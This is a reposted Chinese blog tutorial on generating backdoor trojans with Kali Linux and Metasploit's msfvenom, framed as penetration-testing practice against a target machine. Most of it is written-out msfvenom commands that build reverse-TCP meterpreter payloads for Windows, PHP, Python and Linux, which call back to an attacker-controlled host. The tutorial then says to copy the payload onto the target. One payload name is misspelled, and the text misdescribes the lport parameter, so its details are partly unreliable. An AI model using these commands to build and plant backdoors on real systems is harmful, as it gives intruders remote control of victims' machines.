Kali Linux渗透测试小实践——Metasploit与后门木马-Toy模板网

这篇具有很好参考价值的文章主要介绍了Kali Linux渗透测试小实践——Metasploit与后门木马。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

一、环境和工具准备

1.Metasploit

2.Kali Linux与靶机

二、实践过程

1.打开Kali Linux，进入终端

2.输入生成木马的命令，并配置相关参数

一、环境和工具准备

1.Metasploit

Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程。团队合作，在Metasploit和综合报告提出了他们的发现。

kali生成图片木马,渗透测试与安全攻防,渗透测试,web安全,网络安全,木马,MSF

2.Kali Linux与靶机

在一个实用的工具包里尽可能多的包含渗透和审计工具。Kali 实现了这个目标。大多数做安全测试的开源工具都被囊括在内。

二、实践过程

1.打开Kali Linux，进入终端

输入msfconsole

kali生成图片木马,渗透测试与安全攻防,渗透测试,web安全,网络安全,木马,MSF

进入之后的画面

kali生成图片木马,渗透测试与安全攻防,渗透测试,web安全,网络安全,木马,MSF

2.输入生成木马的命令，并配置相关参数

这里针对windows系统，就用关于windows的木马生成命令：

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=kali的IP地址 lport=端口 -f exe -o 文件名.exe

其他相关系统的木马生成命令如下：

1.PHP后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=kali的IP LPORT=端口 -f raw -o 文件名.php

2.Python后门
msfvenom -p python/meterpreter/reverser_tcp LHOST=kali的IP地址 LPORT=端口 -f  raw > shell.py

3.Linux后门
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=kali的IP地址 LPORT=端口 -f elf > shell.elf

在命令行里输入命令，注意，这里的lhost是kali的IP地址，lport是靶机的开启的端口，生成成功后下面命令行会有提示

生成之后，可以在系统的主目录中找到，然后复制到靶机上

kali生成图片木马,渗透测试与安全攻防,渗透测试,web安全,网络安全,木马,MSF